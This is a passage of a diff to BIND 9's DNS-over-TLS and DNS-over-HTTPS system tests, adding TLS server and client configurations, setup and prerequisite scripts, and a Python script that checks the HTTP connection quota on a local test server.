+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -17,6 +19,53 @@ controls {
 
 http local {
 	endpoints { "/dns-query"; "/alter"; };
+	listener-clients 100;
+};
+
+tls tls-forward-secrecy {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+	key-file "../CA/certs/srv01.crt01.example.com.key";
+	cert-file "../CA/certs/srv01.crt01.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+};
+
+tls tls-pfs-aes256 {
+	protocols { TLSv1.2; };
+	ciphers "AES256:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+	key-file "../CA/certs/srv01.crt01.example.com.key";
+	cert-file "../CA/certs/srv01.crt01.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+};
+
+tls tls-no-subject-alt-name {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+	key-file "../CA/certs/srv01.crt02-no-san.example.com.key";
+	cert-file "../CA/certs/srv01.crt02-no-san.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+};
+
+tls tls-expired {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+	key-file "../CA/certs/srv01.crt03-expired.example.com.key";
+	cert-file "../CA/certs/srv01.crt03-expired.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+};
+
+tls tls-forward-secrecy-mutual-tls {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers yes;
+	key-file "../CA/certs/srv01.crt01.example.com.key";
+	cert-file "../CA/certs/srv01.crt01.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+	ca-file "../CA/CA.pem";
 };
 
 options {
@@ -26,25 +75,98 @@ options {
 	http-port @HTTPPORT@;
 	pid-file "named.pid";
 	listen-on { 10.53.0.1; };
-	listen-on tls ephemeral { 10.53.0.1; };             // DoT
+	listen-on tls tls-forward-secrecy { 10.53.0.1; };             // DoT
+	listen-on-v6 tls tls-forward-secrecy { fd92:7065:b8e:ffff::1;};
 	listen-on tls ephemeral http local { 10.53.0.1; };  // DoH
+	listen-on-v6 tls ephemeral http local { fd92:7065:b8e:ffff::1; };
 	listen-on tls none http local { 10.53.0.1; };       // unencrypted DoH
+	listen-on-v6 tls none http local { fd92:7065:b8e:ffff::1; };
 	listen-on-v6 { none; };
+	listen-on port @EXTRAPORT1@ tls tls-pfs-aes256 { 10.53.0.1; };             // DoT
+	listen-on-v6 port @EXTRAPORT1@ tls tls-pfs-aes256 { fd92:7065:b8e:ffff::1;};
+	listen-on port @EXTRAPORT2@ tls tls-no-subject-alt-name { 10.53.0.1; };             // DoT
+	listen-on port @EXTRAPORT3@ tls tls-no-subject-alt-name http local { 10.53.0.1; };  // DoH
+	listen-on port @EXTRAPORT4@ tls tls-expired { 10.53.0.1; };             // DoT
+	listen-on port @EXTRAPORT5@ tls tls-forward-secrecy-mutual-tls { 10.53.0.1; }; // DoT
+	listen-on port @EXTRAPORT6@ tls tls-forward-secrecy-mutual-tls http local { 10.53.0.1; }; // DoH
 	recursion no;
 	notify explicit;
 	also-notify { 10.53.0.2 port @PORT@; };
 	statistics-file "named.stats";
 	dnssec-validation yes;
+	tcp-initial-timeout 1200;
+	transfers-in 100;
+	transfers-out 100;
 };
 
 zone "." {
 	type primary;
 	file "root.db";
-	allow-transfer { any; };
+	allow-transfer port @TLSPORT@ transport tls { any; };
 };
 
 zone "example" {
 	type primary;
 	file "example.db";
-	allow-transfer { any; };
+	allow-transfer port @TLSPORT@ transport tls { any; };
+};
+
+zone "example2" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT1@ transport tls { any; };
+};
+
+zone "example3" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT3@ transport tls { any; };
+};
+
+zone "example4" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example5" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example6" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example7" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example8" {
+	type primary;
+	file "example.db";
+	allow-transfer transport tls { any; };
+};
+
+zone "example9" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT5@ transport tls { any; };
+};
+
+zone "example10" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT5@ transport tls { any; };
+};
+
+zone "example11" {
+	type primary;
+	file "example.db";
+	allow-transfer port @EXTRAPORT5@ transport tls { any; };
 };
diff --git a/bin/tests/system/doth/ns1/root.db b/bin/tests/system/doth/ns1/root.db
index 5ace5c3c6f..47a18a1e76 100644
--- a/bin/tests/system/doth/ns1/root.db
+++ b/bin/tests/system/doth/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/doth/ns2/named.conf.in b/bin/tests/system/doth/ns2/named.conf.in
index 3cdc952270..3cb20425c7 100644
--- a/bin/tests/system/doth/ns2/named.conf.in
+++ b/bin/tests/system/doth/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,8 +18,9 @@ controls {
 };
 
 tls local {
-	key-file "key.pem";
-	cert-file "cert.pem";
+	key-file "../CA/certs/srv02.crt01.example.com.key";
+	cert-file "../CA/certs/srv02.crt01.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
 };
 
 http local {
@@ -35,14 +38,19 @@ options {
 	pid-file "named.pid";
 	listen-on { 10.53.0.2; };
 	listen-on tls local { 10.53.0.2; };             // DoT
+	listen-on-v6 tls local { fd92:7065:b8e:ffff::2; };
 	listen-on tls local http local { 10.53.0.2; };  // DoH
+	listen-on-v6 tls local http local { fd92:7065:b8e:ffff::2; };
 	listen-on tls none http local { 10.53.0.2; };   // unencrypted DoH
+	listen-on-v6 tls none http local { fd92:7065:b8e:ffff::2; };
 	listen-on-v6 { none; };
 	recursion no;
 	notify no;
 	ixfr-from-differences yes;
 	check-integrity no;
 	dnssec-validation yes;
+	transfers-in 100;
+	transfers-out 100;
 };
 
 zone "." {
@@ -50,9 +58,126 @@ zone "." {
 	file "../../common/root.hint";
 };
 
+tls tls-example-primary {
+	remote-hostname "srv01.crt01.example.com"; // enable Strict TLS
+	ca-file "../CA/CA.pem";
+};
+
 zone "example" {
 	type secondary;
-	primaries { 10.53.0.1 tls ephemeral; };
+	primaries { 10.53.0.1 tls tls-example-primary; };
 	file "example.db";
 	allow-transfer { any; };
 };
+
+# the server's certificate does not contain SubjectAltName, which is required for DoT
+tls tls-example-primary-no-san {
+	remote-hostname "srv01.crt02-no-san.example.com"; // enable Strict TLS
+	ca-file "../CA/CA.pem";
+};
+
+zone "example3" {
+	type secondary;
+	primaries { 10.53.0.1 port @EXTRAPORT2@ tls tls-example-primary-no-san; };
+	file "example3.db";
+	allow-transfer { any; };
+};
+
+# As you can see, the "remote-hostname" is missing, but "ca-file" is
+# specified. As the result, the primaries server certificate will be
+# verified using the IP address instead of hostname. That is fine,
+# because the server certificate is issued with IP address in the
+# SubjectAltName section.
+tls tls-example-primary-strict-tls-no-hostname {
+	ca-file "../CA/CA.pem"; // enable Strict TLS
+};
+
+zone "example4" {
+	type secondary;
+	primaries { 10.53.0.1 tls tls-example-primary-strict-tls-no-hostname; };
+	file "example4.db";
+	allow-transfer { any; };
+};
+
+tls tls-example-primary-strict-tls-ipv4 {
+	remote-hostname "10.53.0.1"; # the IP is in the server's cert SAN
+	ca-file "../CA/CA.pem"; # enable Strict TLS
+};
+
+zone "example5" {
+	type secondary;
+	primaries { 10.53.0.1 tls tls-example-primary-strict-tls-ipv4; };
+	file "example5.db";
+	allow-transfer { any; };
+};
+
+tls tls-example-primary-strict-tls-ipv6 {
+	remote-hostname "fd92:7065:b8e:ffff::1"; # the IP is in the server's cert SAN
+	ca-file "../CA/CA.pem"; # enable Strict TLS
+};
+
+zone "example6" {
+	type secondary;
+	primaries { 10.53.0.1 tls tls-example-primary-strict-tls-ipv6; };
+	file "example6.db";
+	allow-transfer { any; };
+};
+
+tls tls-example-primary-strict-tls-wrong-host {
+	remote-hostname "not-present.example.com"; # this is not present in the server's cert SAN
+	ca-file "../CA/CA.pem"; # enable Strict TLS
+};
+
+zone "example7" {
+	type secondary;
+	primaries { 10.53.0.1 tls tls-example-primary-strict-tls-wrong-host; };
+	file "example7.db";
+	allow-transfer { any; };
+};
+
+tls tls-example-primary-strict-tls-expired {
+	remote-hostname "srv01.crt03-expired.example.com";
+	ca-file "../CA/CA.pem";
+};
+
+zone "example8" {
+	type secondary;
+	primaries { 10.53.0.1 port @EXTRAPORT4@ tls tls-example-primary-strict-tls-expired; };
+	file "example8.db";
+	allow-transfer { any; };
+};
+
+tls tls-example-primary-mutual-tls {
+    remote-hostname "srv01.crt01.example.com";
+	ca-file "../CA/CA.pem";
+	cert-file "../CA/certs/srv01.client02-ns2.example.com.pem";
+	key-file "../CA/certs/srv01.client02-ns2.example.com.key";
+};
+
+zone "example9" {
+	type secondary;
+	primaries { 10.53.0.1 port @EXTRAPORT5@ tls tls-example-primary-mutual-tls; };
+	file "example9.db";
+	allow-transfer { any; };
+};
+
+zone "example10" {
+	type secondary;
+	primaries { 10.53.0.1 port @EXTRAPORT5@ tls tls-example-primary; };
+	file "example10.db";
+	allow-transfer { any; };
+};
+
+tls tls-example-primary-mutual-tls-expired {
+    remote-hostname "srv01.crt01.example.com";
+	ca-file "../CA/CA.pem";
+	cert-file "../CA/certs/srv01.client03-ns2-expired.example.com.pem";
+	key-file "../CA/certs/srv01.client03-ns2-expired.example.com.key";
+};
+
+zone "example11" {
+	type secondary;
+	primaries { 10.53.0.1 port @EXTRAPORT5@ tls tls-example-primary-mutual-tls-expired; };
+	file "example11.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/doth/ns3/named.conf.in b/bin/tests/system/doth/ns3/named.conf.in
new file mode 100644
index 0000000000..74d3957e2d
--- /dev/null
+++ b/bin/tests/system/doth/ns3/named.conf.in
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+tls local {
+	key-file "../CA/certs/srv03.crt01.example.com.key";
+	cert-file "../CA/certs/srv03.crt01.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+};
+
+http local {
+	endpoints { "/dns-query"; };
+};
+
+options {
+	query-source address 10.53.0.3;
+	notify-source 10.53.0.3;
+	transfer-source 10.53.0.3;
+	port @PORT@;
+	tls-port @TLSPORT@;
+	https-port @HTTPSPORT@;
+	http-port @HTTPPORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.3; };
+	listen-on tls local { 10.53.0.3; };             // DoT
+	listen-on-v6 { none; };
+	recursion no;
+	notify no;
+	ixfr-from-differences yes;
+	check-integrity no;
+	dnssec-validation yes;
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+tls tls-v1.2-pfs {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers no;
+};
+
+zone "example" {
+	type secondary;
+	primaries { 10.53.0.1 tls tls-v1.2-pfs; };
+	file "example.db";
+	allow-transfer { any; };
+};
+
+tls tls-pfs-aes-128 {
+	protocols { TLSv1.2; };
+	// AES128 does not match the setting on the server: AES256
+	ciphers "AES128:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers no;
+};
+
+zone "example2" {
+	type secondary;
+	primaries port @EXTRAPORT1@ { 10.53.0.1 tls tls-pfs-aes-128; };
+	file "example2.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/doth/ns4/named.conf.in b/bin/tests/system/doth/ns4/named.conf.in
new file mode 100644
index 0000000000..077226a488
--- /dev/null
+++ b/bin/tests/system/doth/ns4/named.conf.in
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# We need a separate instance for the "rndc reconfig" test in order to
+# ensure that it does not use ephemeral keys (these are costly to
+# generate) and creates a minimal amount of TLS contexts, reducing the
+# time needed for startup/reconfiguration. Long
+# startup/reconfiguration was known to cause timeout issues in the CI
+# system, where many tests run in parallel.
+
+include "../../common/rndc.key";
+
+controls {
+	inet 10.53.0.4 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+tls local {
+	key-file "../CA/certs/srv04.crt01.example.com.key";
+	cert-file "../CA/certs/srv04.crt01.example.com.pem";
+	dhparam-file "../dhparam3072.pem";
+};
+
+http local {
+	endpoints { "/dns-query"; };
+};
+
+options {
+	query-source address 10.53.0.4;
+	notify-source 10.53.0.4;
+	transfer-source 10.53.0.4;
+	port @PORT@;
+	tls-port @TLSPORT@;
+	https-port @HTTPSPORT@;
+	http-port @HTTPPORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.4; };
+	listen-on tls local { 10.53.0.4; };             // DoT
+	listen-on tls local http local { 10.53.0.4; };  // DoH
+	listen-on-v6 { none; };
+	recursion no;
+	notify no;
+	ixfr-from-differences yes;
+	check-integrity no;
+	dnssec-validation yes;
+};
+
+zone "." {
+	type hint;
+	file "../../common/root.hint";
+};
+
+tls tls-v1.2-pfs {
+	protocols { TLSv1.2; };
+	ciphers "HIGH:!kRSA:!aNULL:!eNULL:!RC4:!3DES:!MD5:!EXP:!PSK:!SRP:!DSS:!SHA1:!SHA256:!SHA384";
+	prefer-server-ciphers no;
+};
+
+zone "example" {
+	type secondary;
+	primaries { 10.53.0.1 tls tls-v1.2-pfs; };
+	file "example.db";
+	allow-transfer { any; };
+};
diff --git a/bin/tests/system/doth/prereq.sh b/bin/tests/system/doth/prereq.sh
new file mode 100644
index 0000000000..a9b9a1494d
--- /dev/null
+++ b/bin/tests/system/doth/prereq.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+$FEATURETEST --with-libnghttp2 || {
+	echo_i "This test requires libnghttp2 support." >&2
+	exit 255
+}
+
+$FEATURETEST --have-fips-dh ||  {
+        echo_i "FIPS mode Diffie-Hellman not working - skipping doth test"
+        exit 255
+}
+
+exit 0
diff --git a/bin/tests/system/doth/setup.sh b/bin/tests/system/doth/setup.sh
index 29e49c4bbe..c50c31f779 100644
--- a/bin/tests/system/doth/setup.sh
+++ b/bin/tests/system/doth/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -13,5 +15,18 @@
 
 $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 2 >ns1/example.db
 
+echo '; huge answer' >> ns1/example.db
+x=1
+while [ $x -le 50 ]; do
+    y=1
+    while [ $y -le 50 ]; do
+        printf 'biganswer\t\tA\t\t10.10.%d.%d\n' $x $y >> ns1/example.db
+        y=$((y+1))
+    done
+    x=$((x+1))
+done
+
 copy_setports ns1/named.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
+copy_setports ns3/named.conf.in ns3/named.conf
+copy_setports ns4/named.conf.in ns4/named.conf
diff --git a/bin/tests/system/doth/stress_http_quota.py b/bin/tests/system/doth/stress_http_quota.py
new file mode 100755
index 0000000000..12e29c858e
--- /dev/null
+++ b/bin/tests/system/doth/stress_http_quota.py
@@ -0,0 +1,252 @@
+#!/usr/bin/env python
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import os
+import sys
+import socket
+import subprocess
+import random
+import time
+
+from functools import reduce
+from resource import getrlimit
+from resource import setrlimit
+from resource import RLIMIT_NOFILE
+
+MULTIDIG_INSTANCES = 10
+CONNECT_TRIES = 5
+
+random.seed()
+
+# Ensure we have enough file desriptors to work
+rlimit_nofile = getrlimit(RLIMIT_NOFILE)
+if rlimit_nofile[0] < 1024:
+    setrlimit(RLIMIT_NOFILE, (1024, rlimit_nofile[1]))
+
+
+# Introduce some random delay
+def jitter():
+    time.sleep((500 + random.randint(0, 250)) / 1000000.0)
+
+
+# A set of simple procedures to get the test's configuration options
+def get_http_port(http_secure=False):
+    http_port_env = None
+    if http_secure:
+        http_port_env = os.getenv("HTTPSPORT")
+    else:
+        http_port_env = os.getenv("HTTPPORT")
+    if http_port_env:
+        return int(http_port_env)
+    return 443
+
+
+def get_http_host():
+    bind_host = os.getenv("BINDHOST")
+    if bind_host:
+        return bind_host
+    return "localhost"
+
+
+def get_dig_path():
+    dig_path = os.getenv("DIG")
+    if dig_path:
+        return dig_path
+    return "dig"
+
+
+# A simple class which creates the given number of TCP connections to
+# the given host in order to stress the BIND's quota facility
+class TCPConnector:
+    def __init__(self, host, port):
+        self.host = host
+        self.port = port
+        self.connections = []
+
+    def connect_one(self):
+        tries = CONNECT_TRIES
+        while tries > 0:
+            try:
+                sock = socket.create_connection(
+                    address=(self.host, self.port), timeout=None
+                )
+                self.connections.append(sock)
+                break
+            except ConnectionResetError:
+                # some jitter for BSDs
+                jitter()
+                continue
+            except TimeoutError:
+                jitter()
+                continue
+            finally:
+                tries -= 1
+
+    # Close an established connection (randomly)
+    def disconnect_random(self):
+        pos = random.randint(0, len(self.connections) - 1)
+        conn = self.connections[pos]
+        try:
+            conn.shutdown(socket.SHUT_RDWR)
+            conn.close()
+        except OSError:
+            conn.close()
+        finally:
+            self.connections.remove(conn)
+
+    def disconnect_all(self):
+        while len(self.connections) != 0:
+            self.disconnect_random()
+
+
+# A simple class which allows running a dig instance under control of
+# the process
+class SubDIG:
+    def __init__(self, http_secure=None, extra_args=None):
+        self.sub_process = None
+        self.dig_path = get_dig_path()
+        self.host = get_http_host()
+        self.port = get_http_port(http_secure=http_secure)
+        if http_secure:
+            self.http_secure = True
+        else:
+            self.http_secure = False
+        self.extra_args = extra_args
+
+    # This method constructs a command string
+    def get_command(self):
+        command = self.dig_path + " -p " + str(self.port) + " "
+        command = command + "+noadd +nosea +nostat +noquest +nocmd +time=30 "
+        if self.http_secure:
+            command = command + "+https "
+        else:
+            command = command + "+http-plain "
+        command = command + "@" + self.host + " "
+        if self.extra_args:
+            command = command + self.extra_args
+        return command
+
+    def run(self):
+        # pylint: disable=consider-using-with
+        with open(os.devnull, "w", encoding="utf-8") as devnull:
+            self.sub_process = subprocess.Popen(
+                self.get_command(), shell=True, stdout=devnull
+            )
+
+    def wait(self, timeout=None):
+        res = None
+        if timeout is None:
+            return self.sub_process.wait()
+        try:
+            res = self.sub_process.wait(timeout=timeout)
+        except subprocess.TimeoutExpired:
+            return None
+        return res
+
+    def alive(self):
+        return self.sub_process.poll() is None
+
+
+# A simple wrapper class which allows running multiple dig instances
+# and examining their statuses in one logical operation.
+class MultiDIG:
+    def __init__(self, numdigs, http_secure=None, extra_args=None):
+        assert int(numdigs) > 0
+        digs = []
+        for _ in range(1, int(numdigs) + 1):
+            digs.append(SubDIG(http_secure=http_secure, extra_args=extra_args))
+        self.digs = digs
+        assert len(self.digs) == int(numdigs)
+
+    def run(self):
+        for p in self.digs:
+            p.run()
+
+    def wait(self):
+        return map(lambda p: (p.wait()), self.digs)
+
+    # Wait for the all instances to terminate with expected given
+    # status. Returns true or false.
+    def wait_for_result(self, result):
+        return reduce(
+            lambda a, b: ((a == result or a is True) and b == result), self.wait()
+        )
+
+    def alive(self):
+        return reduce(lambda a, b: (a and b), map(lambda p: (p.alive()), self.digs))
+
+    def completed(self):
+        total = 0
+        for p in self.digs:
+            if not p.alive():
+                total += 1
+        return total
+
+
+# The test's main logic
+def run_test(http_secure=True):
+    query_args = "SOA ."
+    # Let's try to make a successful query
+    subdig = SubDIG(http_secure=http_secure, extra_args=query_args)
+    subdig.run()
+    assert subdig.wait() == 0, "DIG was expected to succeed"
+    # Let's create a lot of TCP connections to the server stress the
+    # HTTP quota
+    connector = TCPConnector(get_http_host(), get_http_port(http_secure=http_secure))
+    # Let's make queries until the quota kicks in
+    subdig = SubDIG(http_secure=http_secure, extra_args=query_args)
+    subdig.run()
+    while True:
+        connector.connect_one()
+        subdig = SubDIG(http_secure=http_secure, extra_args=query_args)
+        subdig.run()
+        if subdig.wait(timeout=5) is None:
+            break
+
+    # At this point quota has kicked in.  Additionally, let's create a
+    # bunch of dig processes all trying to make a query against the
+    # server with exceeded quota
+    multidig = MultiDIG(
+        MULTIDIG_INSTANCES, http_secure=http_secure, extra_args=query_args
+    )
+    multidig.run()
+    # Wait for the dig instance to complete. Not a single instance has
+    # a chance to complete successfully because of the exceeded quota
+    assert (
+        subdig.wait(timeout=5) is None
+    ), "The single DIG instance has stopped prematurely"
+    assert subdig.alive(), "The single DIG instance is expected to be alive"
+    assert multidig.alive(), (
+        "The DIG instances from the set are all expected to "
+        "be alive, but {} of them have completed"
+    ).format(multidig.completed())
+    # Let's close opened connections (in random order) to let all dig
+    # processes to complete
+    connector.disconnect_all()
+    # Wait for all processes to complete successfully
+    assert subdig.wait() == 0, "Single DIG instance failed"
+    assert (
+        multidig.wait_for_result(0) is True
+    ), "One or more of DIG instances returned unexpected results"
+
+
+def main():
+    run_test(http_secure=True)
+    run_test(http_secure=False)
+    # If we have reached this point we could safely return 0
+    # (success). If the test fails because of an assert, the whole
+    # program will return non-zero exit code and produce the backtrace
+    return 0
+
+
+sys.exit(main())
diff --git a/bin/tests/system/doth/tests.sh b/bin/tests/system/doth/tests.sh
index 2bed4e555d..a95bd8c99a 100644
--- a/bin/tests/system/doth/tests.sh
+++ b/bin/tests/system/doth/tests.sh
@@ -1,31 +1,84 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
+# shellcheck disable=SC1091
 . ../conf.sh
 
+common_dig_options="+noadd +nosea +nostat +noquest +nocmd"
+msg_xfrs_not_allowed=";; zone transfers over the established TLS connection are not allowed"
+msg_peer_verification_failed=";; TLS peer certificate verification"
+
+ca_file="./CA/CA.pem"
+
+if [ -x "$PYTHON" ]; then
+	OPENSSL_VERSION=$("$PYTHON" "$TOP_SRCDIR/bin/tests/system/doth/get_openssl_version.py")
+	OPENSSL_VERSION_MAJOR=$(echo "$OPENSSL_VERSION" | cut -d ' ' -f 1)
+	OPENSSL_VERSION_MINOR=$(echo "$OPENSSL_VERSION" | cut -d ' ' -f 2)
+fi
+
+# According to the RFC 8310, Section 8.1, Subject field MUST
+# NOT be inspected when verifying a hostname when using
+# DoT. Only SubjectAltName must be checked instead. That is
+# not the case for HTTPS, though.
+
+# Unfortunately, some quite old versions of OpenSSL (< 1.1.1)
+# might lack the functionality to implement that. It should
+# have very little real-world consequences, as most of the
+# production-ready certificates issued by real CAs will have
+# SubjectAltName set. In such a case, the Subject field is
+# ignored.
+#
+# On the platforms with too old TLS versions, e.g. RedHat 7, we should
+# ignore the tests checking the correct handling of absence of
+# SubjectAltName.
+if [ -n "$OPENSSL_VERSION" ]; then
+	if [ $OPENSSL_VERSION_MAJOR -gt 1 ]; then
+		run_san_tests=1
+	elif  [ $OPENSSL_VERSION_MAJOR -eq 1 ] && [ $OPENSSL_VERSION_MINOR -ge 1 ]; then
+		run_san_tests=1
+	fi
+fi
+
 dig_with_tls_opts() {
-	"$DIG" +tls +noadd +nosea +nostat +noquest +nocmd -p "${TLSPORT}" "$@"
+	# shellcheck disable=SC2086
+	"$DIG" +tls $common_dig_options -p "${TLSPORT}" "$@"
 }
 
 dig_with_https_opts() {
-	"$DIG" +https +noadd +nosea +nostat +noquest +nocmd -p "${HTTPSPORT}" "$@"
+	# shellcheck disable=SC2086
+	"$DIG" +https $common_dig_options -p "${HTTPSPORT}" "$@"
 }
 
 dig_with_http_opts() {
-	"$DIG" +http-plain +noadd +nosea +nostat +noquest +nocmd -p "${HTTPPORT}" "$@"
+	# shellcheck disable=SC2086
+	"$DIG" +http-plain $common_dig_options -p "${HTTPPORT}" "$@"
+}
+
+dig_with_opts() {
+	# shellcheck disable=SC2086
+	"$DIG" $common_dig_options -p "${PORT}" "$@"
 }
 
 wait_for_tls_xfer() (
-	dig_with_tls_opts -b 10.53.0.3 @10.53.0.2 example. AXFR > "dig.out.ns2.test$n" || return 1
-	grep "^;" "dig.out.ns2.test$n" > /dev/null && return 1
+	srv_number="$1"
+	shift
+	zone_name="$1"
+	shift
+	# Let's bind to .10 to make it possible to easily distinguish dig from NSs in packet traces
+	dig_with_tls_opts -b 10.53.0.10 "@10.53.0.$srv_number" "${zone_name}." AXFR > "dig.out.ns$srv_number.${zone_name}.test$n" || return 1
+	grep "^;" "dig.out.ns$srv_number.${zone_name}.test$n" > /dev/null && return 1
 	return 0
 )
 
@@ -35,20 +88,166 @@ n=0
 n=$((n+1))
 echo_i "testing XoT server functionality (using dig) ($n)"
 ret=0
-dig_with_tls_opts example. -b 10.53.0.3 @10.53.0.1 axfr > dig.out.ns1.test$n || ret=1
+dig_with_tls_opts example. -b 10.53.0.10 @10.53.0.1 axfr > dig.out.ns1.test$n || ret=1
 grep "^;" dig.out.ns1.test$n | cat_i
 digcomp example.axfr.good dig.out.ns1.test$n || ret=1
 if test $ret != 0 ; then echo_i "failed"; fi
 status=$((status+ret))
 
 n=$((n+1))
-echo_i "testing incoming XoT functionality (from secondary) ($n)"
+echo_i "testing incoming XoT functionality (from the first secondary) ($n)"
+ret=0
+if retry_quiet 10 wait_for_tls_xfer 2 example; then
+	digcomp example.axfr.good "dig.out.ns2.example.test$n" || ret=1
+else
+	echo_i "timed out waiting for zone transfer"
